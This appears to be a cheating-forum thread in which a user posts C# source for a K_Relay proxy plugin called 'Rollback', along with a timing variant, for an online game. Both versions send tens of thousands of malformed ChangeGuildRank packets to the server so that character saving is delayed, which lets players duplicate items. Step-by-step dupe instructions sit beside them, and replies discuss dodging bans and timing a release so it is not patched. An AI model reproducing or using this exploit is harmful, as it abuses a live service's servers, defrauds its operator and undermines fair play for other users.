Character Rollback source code

Posts 115 of 45 · Page 1 of 3
Character Rollback source code
Because my code that I wrote has been deleted:
Code:
using Lib_K_Relay;
using Lib_K_Relay.Interface;
using Lib_K_Relay.Networking;
using Lib_K_Relay.Networking.Packets;
using Lib_K_Relay.Networking.Packets.Client;
using Lib_K_Relay.Utilities;
using System;

namespace Rollback
{
    public class Rollback : IPlugin
    {
        private UInt32 _amount = 30000;

        public string GetAuthor()
        {
            return "059";
        }

        public string GetName()
        {
            return "Rollback";
        }

        public string GetDescription()
        {
            return "Delays character saving on the server.";
        }

        public string[] GetCommands()
        {
            return new string[2]
            {
                "/dupe", "/damount"
            };
        }

        public void Initialize(Proxy proxy)
        {
            proxy.HookCommand("dupe", OnDupeCommand);
            proxy.HookCommand("damount", OnAmountCommand);
        }

        private void OnDupeCommand(Client client, string command, string[] args)
        {
            ChangeGuildRankPacket changeGuildRankPacket = (ChangeGuildRankPacket)Packet.Create(PacketType.CHANGEGUILDRANK);
            changeGuildRankPacket.GuildRank = -1;
            changeGuildRankPacket.Name = "\n";
            for (int index = 0; index < _amount; ++index)
                client.SendToServer((Packet)changeGuildRankPacket);
            client.SendToClient((Packet)PluginUtils.CreateNotification((int)client.ObjectId, 0xFFFF00, "Rollback Initiated"));
            client.SendToClient((Packet)PluginUtils.CreateOryxNotification("@059", "Rollback Initiated at " + DateTime.Now));
        }

        private void OnAmountCommand(Client client, string command, string[] args)
        {
            if (args.Length == 1){
                _amount = UInt32.Parse(args[0]);
                client.SendToClient((Packet)PluginUtils.CreateOryxNotification("@059", "Amount set to " + _amount));
            }
        }
    }
}
To dupe extremely fast:
Trade 8 items from one mule to another, the one that trades away the items types /dupe. Repeat.

By the way the original thread is still on google cache:
http://webcache.googleusercontent.co....0.3h9hUe2qPGY

edit:
Hilarious:

Because that's totally the reason, and no other reason.

http://webcache.googleusercontent.co...94.7tK6C_aiK7k
Realm is ruined
Timing mod.
Code:
        public Dictionary<Client, Data> Players = new Dictionary<Client, Data>();
        public int amount = 10000;

        public class Data
        {
            public DateTime EndTime = DateTime.Now.AddSeconds(10);
            public bool Notified;

            public Data()
            {
                Notified = true;
            }
        }

        public void Initialize(Proxy proxy)
        {
            proxy.HookCommand("d", OnDupeCommand);
            proxy.HookPacket(PacketType.NEWTICK, OnTick);
            proxy.ClientConnected += client =>
            {
                if (!Players.ContainsKey(client)) Players[client] = new Data();
            };
        }

        private void OnDupeCommand(Client client, string command, string[] args)
        {
            var chg = (ChangeGuildRankPacket)Packet.Create(PacketType.CHANGEGUILDRANK);
            chg.GuildRank = -1;
            chg.Name = "\n";
            for (var i = 0; i < amount; i++)
            {
                client.SendToServer(chg);
            }
            client.SendToClient(PluginUtils.CreateNotification(client.ObjectId, 0xFFFF00, "Start"));
            Players[client].EndTime = DateTime.Now.AddMinutes(10);
            Players[client].Notified = false;
            client.SendToClient(PluginUtils.CreateOryxNotification("RollBack", "Rollback Initiated at " + DateTime.Now));
        }

        public void OnTick(Client client, Packet packet)
        {
            if (TimeSpan.Parse((Players[client].EndTime - DateTime.Now).ToString()) < TimeSpan.Zero && !Players[client].Notified)
            {
                Players[client].Notified = true;
                client.SendToClient(PluginUtils.CreateNotification(client.ObjectId, 0xFFFF00, "Finished!"));
                client.SendToClient(PluginUtils.CreateOryxNotification("DONE", "Finished at " + DateTime.Now));
            }
        }
Just saw some guy with 8 crowns in inv. xD

- - - Updated - - -

Quote Originally Posted by 059 View Post
Because my code that I wrote has been deleted:
Code:
using Lib_K_Relay;
using Lib_K_Relay.Interface;
using Lib_K_Relay.Networking;
using Lib_K_Relay.Networking.Packets;
using Lib_K_Relay.Networking.Packets.Client;
using Lib_K_Relay.Utilities;
using System;

namespace Rollback
{
    public class Rollback : IPlugin
    {
        private UInt32 _amount = 30000;

        public string GetAuthor()
        {
            return "059";
        }

        public string GetName()
        {
            return "Rollback";
        }

        public string GetDescription()
        {
            return "Delays character saving on the server.";
        }

        public string[] GetCommands()
        {
            return new string[2]
            {
                "/dupe", "/damount"
            };
        }

        public void Initialize(Proxy proxy)
        {
            proxy.HookCommand("dupe", OnDupeCommand);
            proxy.HookCommand("damount", OnAmountCommand);
        }

        private void OnDupeCommand(Client client, string command, string[] args)
        {
            ChangeGuildRankPacket changeGuildRankPacket = (ChangeGuildRankPacket)Packet.Create(PacketType.CHANGEGUILDRANK);
            changeGuildRankPacket.GuildRank = -1;
            changeGuildRankPacket.Name = "\n";
            for (int index = 0; index < _amount; ++index)
                client.SendToServer((Packet)changeGuildRankPacket);
            client.SendToClient((Packet)PluginUtils.CreateNotification((int)client.ObjectId, 0xFFFF00, "Rollback Initiated"));
            client.SendToClient((Packet)PluginUtils.CreateOryxNotification("@059", "Rollback Initiated at " + DateTime.Now));
        }

        private void OnAmountCommand(Client client, string command, string[] args)
        {
            if (args.Length == 1){
                _amount = UInt32.Parse(args[0]);
                client.SendToClient((Packet)PluginUtils.CreateOryxNotification("@059", "Amount set to " + _amount));
            }
        }
    }
}
To dupe extremely fast:
Trade 8 items from one mule to another, the one that trades away the items types /dupe. Repeat.

By the way the original thread is still on google cache:
http://webcache.googleusercontent.co....0.3h9hUe2qPGY

edit:
Hilarious:

Because that's totally the reason, and no other reason.

http://webcache.googleusercontent.co...94.7tK6C_aiK7k
THANK YOU SO FUCKING MUCH I LOVE YOU. <3
can u explain how to revive chars?
Quote Originally Posted by Axeallll View Post
can u explain how to revive chars?
The Characters have to had died in the last 5 minutes, or it probably wont work.
IT WILL NOT REVIVE CHARACTERS FROM 2 MONTHS AGO.
No use for this since everyone is getting perma banned :P @059 thanks for this method anyways. I didn't use it xD
Made a new dupe out of this. Thank you <3
Quote Originally Posted by Fightera100 View Post
Made a new dupe out of this. Thank you <3
Or u just using the same one and just haven't get banned yet Lul
Quote Originally Posted by Riigged View Post

Or u just using the same one and just haven't get banned yet Lul
no^^ I changed code^^
Will release it if I dont get banned tomorrow xD
Quote Originally Posted by Fightera100 View Post
no^^ I changed code^^
Will release it if I dont get banned tomorrow xD
But then the devs would just fix your code and mass ban just like they did with 059's.
Quote Originally Posted by Matrix1101 View Post
But then the devs would just fix your code and mass ban just like they did with 059's.
Yeah Im not sure about it anymore..
Quote Originally Posted by Fightera100 View Post
Yeah Im not sure about it anymore..
I pm'ed u check it.
Quote Originally Posted by Fightera100 View Post
no^^ I changed code^^
Will release it if I dont get banned tomorrow xD
If you do end up releasing it, wait until the weekend so it doesn't get instantly patched.
Nvm, got it!
Posts 115 of 45 · Page 1 of 3
This thread is closed for replies.

Similar Threads

Tags for this Thread

None

Need help?